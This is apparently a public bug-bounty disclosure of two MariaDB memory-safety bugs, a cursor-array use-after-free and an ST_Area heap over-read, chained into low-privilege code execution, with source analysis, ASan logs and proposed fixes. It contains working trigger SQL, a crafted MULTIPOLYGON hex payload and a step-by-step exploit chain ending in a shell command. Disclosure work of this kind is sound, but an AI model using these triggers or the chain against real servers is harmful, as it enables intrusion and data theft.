HexBrain

MariaDB · Report #3856148

Low-privilege RCE in MariaDB: SYS_REFCURSOR cursor-array use-after-free chained with an ST_Area heap over-read

Validstatus
criticalseverity
14upvotes
7 Oct 2026disclosed

How it was found

Low-privilege RCE in MariaDB: SYS_REFCURSOR cursor-array use-after-free chained with an ST_Area heap over-read

Summary

A low-privilege authenticated user can execute arbitrary OS commands as the mariadbd process user through a single SQL session over the normal TCP port. The account needs only per-database SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,CREATE TEMPORARY TABLES,EXECUTE, with no FILE, SUPER, admin, or CREATE ROUTINE.

The chain uses two independent memory-safety bugs, each documented separately below:

  • Bug 1 is a use-after-free in the SYS_REFCURSOR cursor array. A reallocating Dynamic_array moves its backing buffer while an open cursor keeps a raw pointer into the old buffer; a later FETCH dereferences it and reaches a virtual call, giving control of the instruction pointer.
  • Bug 2 is an out-of-bounds heap read in Gis_multi_polygon::area (ST_Area). A missing bounds check lets a crafted MULTIPOLYGON read past the geometry buffer and fold the bytes into the returned DOUBLE, giving an in-process memory-disclosure oracle.

The exploit chain combines them: Bug 2 leaks the heap and code base to defeat ASLR/PIE, and Bug 1 uses that to write a privilege flag and run code. Fixing either bug breaks the chain.

Both bugs are confirmed under AddressSanitizer on current 13.0 HEAD (13.0.2). The complete exploit is demonstrated end-to-end on the released mariadb:13.0.1-rc Docker image (see Reproduction).

Environment

ProductMariaDB Server 13.0.2
Commit84c246ca5387c0611f75097136ff4f4bea092aa3 (branch 13.0, 2026-07-09), current HEAD when tested
Build for ASan tracesRelWithDebInfo, WITH_ASAN=ON, gcc 13.3.0, glibc 2.39; PIE, ASLR on; server banner 13.0.2-MariaDB-asan

Source line numbers below are for commit 84c246ca. The end-to-end PoC targets Docker image mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (mariadb:13.0.1-rc, glibc 2.43).

Severity

Full chain: CRITICAL, arbitrary code execution by an authenticated low-privilege user. CVSS 3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H = 8.5


Bug 1: use-after-free in the SYS_REFCURSOR cursor array

Root cause

thd->statement_cursors (Statement_rcontext::m_statement_cursors) is a by-value Dynamic_array<sp_cursor_array_element>, storing each sp_cursor inline in the buffer. When the array grows, my_realloc moves the buffer, but an open cursor's Materialized_cursor keeps a raw select_result *result pointing into the old, freed buffer. A later FETCH dereferences it.

By-value array with prealloc=0, sql/sp_cursor.h:220,237:

class sp_cursor_array: public Dynamic_array<sp_cursor_array_element>   // :220  elements stored inline
{
  sp_cursor_array()
   :Dynamic_array(PSI_INSTRUMENT_MEM, 0)   // :237  prealloc=0
  {}

Dynamic_array defaults the growth increment to 16 (sql/sql_array.h:117), so capacity grows 0, 16, 32, 48.

Growth relocates the buffer, sql/sp_cursor.cc:60, sql/sp_cursor.cc:96, mysys/array.c:188:

Type_ref_null sp_cursor_array::append(THD *thd)                 // sp_cursor.cc:58
{
  if (Dynamic_array::append(sp_cursor_array_element()))         // :60  grows, relocates
    ...
}
// OPEN -> get_cursor_by_ref() appends when no free slot exists  (sp_cursor.cc:96)
// mysys/array.c alloc_dynamic():
new_ptr = my_realloc(array->m_psi_key, array->buffer,           // :188  moves the buffer
                     (array->max_element + array->alloc_increment) * array->size_of_element, ...);
array->buffer = (uchar*) new_ptr;

The open cursor's back-pointer is never re-seated, sql/sql_cursor.h:43:

class Server_side_cursor: protected Query_arena
{
protected:
  select_result *result;   // :43  points at the Select_fetch_into_spvars embedded in the array element

FETCH dereferences the dangling pointer, sql/sql_cursor.cc:294,304:

void Materialized_cursor::fetch(ulong num_rows)   // :289
{
  ...
  result->begin_dataset();                        // :294  read through the dangling result
  for (...)
  {
    ...
    if (result->send_data(item_list) > 0)         // :304  virtual dispatch through the freed vtable
      return;
  }

begin_dataset() at line 294 is an empty non-virtual function (sql/select_result.h:120), so the 8-byte read ASan flags there is the hoisted load of the object's vtable pointer for the virtual send_data() at line 304 (Select_fetch_into_spvars::send_data overrides, sql/sp_cursor.h:97). Once the freed buffer is reclaimed with attacker bytes, that dispatch goes through an attacker-controlled vtable (see the exploit chain).

Trigger

The 33rd OPEN grows capacity from 32 to 48 and frees the 32-slot buffer. Cursors opened while it was live (e.g. c16) still point into it, so FETCH c16 reads freed memory. One anonymous block, no stored routine:

BEGIN NOT ATOMIC
  DECLARE c0 SYS_REFCURSOR;  -- ... through c32 ...
  DECLARE c32 SYS_REFCURSOR;
  DECLARE a INT;
  SET @@max_open_cursors = 200;
  OPEN c0 FOR SELECT 1;      -- ... open all 33; the 33rd frees the 32-slot buffer ...
  OPEN c32 FOR SELECT 1;
  FETCH c16 INTO a;          -- dereferences the dangling result
END

AddressSanitizer (13.0.2-MariaDB-asan, commit 84c246ca; full log uaf_asan_1302.txt)

==2875457==ERROR: AddressSanitizer: heap-use-after-free on address 0x5200000207c0 ...
READ of size 8 at 0x5200000207c0 thread T15
    #0 Materialized_cursor::fetch(unsigned long)                              sql/sql_cursor.cc:294
    #1 sp_cursor::fetch(THD*, Virtual_tmp_table*, List<sp_fetch_target>*, bool) sql/sp_rcontext.cc:908
    #2 sp_instr_cfetch_by_ref::execute(THD*, unsigned int*)                    sql/sp_instr.cc:2803
    ...
    #8 dispatch_command(...)                                                   sql/sql_parse.cc:1903
    #9 do_command(THD*, bool)                                                  sql/sql_parse.cc:1437

0x5200000207c0 is located 1856 bytes inside of 3616-byte region [0x520000020080,0x520000020ea0)

freed by thread T15 here:
    #1 my_realloc                                                             mysys/my_malloc.c:156
    #2 alloc_dynamic                                                          mysys/array.c:188
    #3 insert_dynamic                                                         mysys/array.c:97
    #4 Dynamic_array<sp_cursor_array_element>::append(...)                    sql/sql_array.h:223
    #5 sp_cursor_array::append(THD*)                                          sql/sp_cursor.cc:60
    #6 sp_cursor_array::get_cursor_by_ref(THD*, Field*, bool)                 sql/sp_cursor.cc:96
    #7 sp_instr_copen_by_ref::exec_core(THD*, unsigned int*)                  sql/sp_instr.cc:2670

SUMMARY: AddressSanitizer: heap-use-after-free sql/sql_cursor.cc:294 in Materialized_cursor::fetch(...)

The read is freed by the my_realloc in sp_cursor_array::append. The offsets match the inline layout: read offset 1856 = 32 (my_malloc header) + 1792 (element c16 at 112 * 16) + 32 (the result sub-object within the element); region 3616 = 3584 payload (32 * 112) + 32 header.

Fix

Store sp_cursor_array_elements by pointer so their addresses are stable across growth (the embedded Select_fetch_into_spvars that result aliases then never moves), or re-seat every open cursor's Materialized_cursor::result after each cursor-array reallocation.


Bug 2: out-of-bounds heap read in Gis_multi_polygon::area

Root cause

Gis_multi_polygon::area() loops over its declared sub-polygon count, advancing the read cursor by WKB_HEADER_SIZE each iteration and building a child Gis_polygon, with no bounds check before the advance. If the declared count exceeds the polygons actually present, the cursor moves past m_data_end, and the length passed to the child, (uint32)(m_data_end - data), is a negative value truncated to a ~4 GiB uint32, defeating the child's bounds checks.

sql/spatial.cc:4089-4091:

int Gis_multi_polygon::area(double *ar, const char **end_of_data) const   // :4073
{
  ...
  if (no_data(data, 4)) return 1;                         // :4079  guards only the count word
  n_polygons = uint4korr(data);                           // :4081  attacker-declared count
  data += 4;

  while (n_polygons--)
  {
    Gis_polygon p;
    data += WKB_HEADER_SIZE;                              // :4089  advance with no bounds check
    p.set_data_ptr(data, (uint32)(m_data_end - data));    // :4090  negative diff -> ~4 GiB length
    if (p.area(&p_area, &data)) return 1;                 // :4091  child reads out of bounds
    ...
  }
}

WKB_HEADER_SIZE = 5 (sql/spatial.h:35); no_data(cur,n) is cur + n > m_data_end (sql/spatial.h:395).

The child reads out of bounds, sql/spatial.cc:2333-2335:

int Gis_polygon::area(double *ar, const char **end_of_data) const   // :2327
{
  ...
  if (no_data(data, 4)) return 1;    // :2333  passes: child m_data_end is the bogus ~4 GiB value
  n_linear_rings = uint4korr(data);  // :2335  out-of-bounds read

The sibling geometry_n() in the same class does check before advancing, sql/spatial.cc:4050:

    if (no_data(data, WKB_HEADER_SIZE + 4)) return 1;   // :4050  guard before the advance
    n_linear_rings = uint4korr(data + WKB_HEADER_SIZE);
    data += WKB_HEADER_SIZE + 4;                        // :4053

area() omits this guard. It is reached via ST_Area, Item_func_area::val_real, geom->area() (sql/item_geofunc.cc:2499).

Trigger

A MULTIPOLYGON declaring 2 polygons but supplying 1:

74 bytes: SRID=0 | byteorder=01 | wkbType=06 (MultiPolygon) | n_polygons=02 (only 1 supplied) |
          poly1: byteorder=01, type=03, n_rings=01, n_points=03, 3 x (0.0,0.0)
SELECT ST_Area(0x0000000001060000000200000001030000000100000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);

The first polygon is consumed exactly to m_data_end; the second iteration advances past it and the child reads out of bounds. Under ASan the server aborts; on a release build the out-of-bounds bytes are returned in the DOUBLE result (leak), or a read into an unmapped page crashes the server.

AddressSanitizer (13.0.2-MariaDB-asan, commit 84c246ca; full log spatial_asan_1302.txt)

==2876597==ERROR: AddressSanitizer: use-after-poison on address 0x52d00019aca7 ...
READ of size 4 at 0x52d00019aca7 thread T14
    #0 uint4korr                                            include/my_byteorder.h:121
    #1 Gis_polygon::area(double*, char const**) const       sql/spatial.cc:2335
    #2 Gis_multi_polygon::area(double*, char const**) const sql/spatial.cc:4091
    #3 Item_func_area::val_real()                           sql/item_geofunc.cc:2499
    #4 Type_handler::Item_send_double(...)                  sql/sql_type.cc:7740
    #5 Protocol::send_result_set_row(List<Item>*)           sql/protocol.cc:1358
    #6 select_send::send_data(List<Item>&)                  sql/sql_class.cc:3411
    ...
    #15 dispatch_command(...)                               sql/sql_parse.cc:1903
    #16 do_command(THD*, bool)                              sql/sql_parse.cc:1437

0x52d00019aca7 is located 2215 bytes inside of 32768-byte region [0x52d00019a400,0x52d0001a2400)

SUMMARY: AddressSanitizer: use-after-poison include/my_byteorder.h:121 in uint4korr

The child Gis_polygon::area (spatial.cc:2335) reads n_linear_rings out of bounds, reached from Gis_multi_polygon::area (spatial.cc:4091) right after the unguarded advance, via ST_Area. The send_data/Item_send_double frames confirm the plain SELECT ST_Area(...) result path. The over-read here lands in poisoned bytes of the query's THD MEM_ROOT block; with a different heap layout it reads a live neighbouring allocation (leak) or an unmapped page (crash).

Fix

Add a bounds check before the advance, as geometry_n() does:

  while (n_polygons--)
  {
    Gis_polygon p;
    if (no_data(data, WKB_HEADER_SIZE)) return 1;   // add this
    data += WKB_HEADER_SIZE;
    p.set_data_ptr(data, (uint32)(m_data_end - data));
    ...
  }

Apply the same guard to the sibling aggregators that advance by WKB_HEADER_SIZE without one (e.g. Gis_multi_line_string::geom_length). set_data_ptr should also reject a data > m_data_end cursor rather than truncate the negative difference.


Exploit chain to code execution

Bug 1 gives control of the instruction pointer but needs target addresses; Bug 2 supplies them. All steps are ordinary SQL from one low-privilege session.

  1. Leak (Bug 2). ST_Area folds out-of-bounds heap qwords into its DOUBLE result, recovered exactly via a controlled multiplier. A front-split of the freed cursor buffer leaves a live Select_fetch_into_spvars vtable pointer at a known offset; reading it back through the same oracle yields the heap arena base and the mariadbd PIE base. This is the only low-privilege in-process channel that returns a raw pointer to the client, so with ASLR + PIE + Full RELRO the write below cannot be aimed without it.

  2. Reclaim (Bug 1). The 33 OPENs free the 32-slot cursor buffer; SET @s1 = 0x<3584 bytes> reclaims it with a crafted layout, so cursors c16..c31 now point at attacker bytes.

  3. Write and privilege flip. FETCH c16's virtual dispatch runs a write-what-where gadget (mov 0x8(%rdi),%rdx ; mov %rax,(%rdx) ; ret) that writes into the session's Security_context::master_access; the written value's low bits set an ACL that includes FILE.

  4. Code execution. With FILE in-session, the exploit writes a UDF via LOAD_FILE+INTO DUMPFILE and calls it. On the Docker image, whose plugin_dir is not writable by the mysql uid, the same dispatch instead drives a call-oriented chain to execlp("/bin/sh","sh","-c","id>/tmp/maria_proof").

Result: id output written to disk by the mariadbd process user.


Reproduction

The complete exploit ships in docker-demo/, self-contained against the pinned mariadb:13.0.1-rc image. It logs in as the image's built-in unprivileged application account (example-user/my_cool_secret on schema appdb: full privileges on that one schema, no FILE/SUPER/admin) and makes mariadbd run sh -c "id".

# terminal A: bring up the pinned image in the foreground
cd docker-demo && ./start.sh
# terminal B: once "ready for connections" appears in terminal A
# The exploit may need multiple attempts. In my testing it is roughly a 1/2 reliability.
cd docker-demo && python3 exploit.py

start.sh is a single docker run --rm of the pinned image (mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9), which provisions the built-in app account. exploit.py runs the full chain as that account over TCP; the resulting id output (run by mariadbd) prints in the start.sh terminal, after which execlp replaces PID 1 and the container exits. Set EXP_CMD to change the command.

Files

  • docker-demo/start.sh, docker-demo/exploit.py: end-to-end PoC against the pinned Docker image (the exploit chain above), using COOP execlp for the code-execution tail.
  • uaf_asan_1302.txt: full ASan log for Bug 1.
  • spatial_asan_1302.txt: full ASan log for Bug 2.

Impact

A low-privilege authenticated user (requiring only basic per-database permissions like SELECT/INSERT/UPDATE/DELETE) can execute arbitrary OS commands as the mariadbd process user over a single TCP session. This enables complete database compromise: reading/modifying all data across all databases, exfiltrating credentials and sensitive information, planting backdoors, and pivoting to other systems in the network. The exploit is fully weaponized, reliable against the latest release with all modern mitigations (ASLR/PIE/RELRO), and requires no FILE, SUPER, or admin privileges.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original